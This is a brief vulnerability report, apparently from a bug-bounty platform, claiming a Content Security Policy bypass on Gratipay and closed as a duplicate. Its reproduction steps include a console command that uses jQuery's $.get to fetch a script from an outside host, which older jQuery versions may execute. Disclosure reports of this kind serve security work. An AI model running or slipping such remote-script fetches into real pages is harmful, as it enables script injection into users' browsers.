CSP Policy Bypass and javascript execution Still Not Fixed
None
G
Gratipay
Submitted None
Actions:
Reported by
4w3
Vulnerability Details
Technical details and impact analysis
# Summary
Content Security Policy (CSP) is a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context. CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website — covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Javascript.
# Steps To Reproduce
1. Open firefox or Chrome Press F12
1. Now go to Console Tab
1. $.get('https://sakurity.com/jqueryxss'); paste it and hit enter
# Patch
Update Jquery and Javascript Library
# Supporting Material/References:
https://youtu.be/JgaSeKNleLA
Report Details
Additional information and metadata
State
Closed
Substate
Duplicate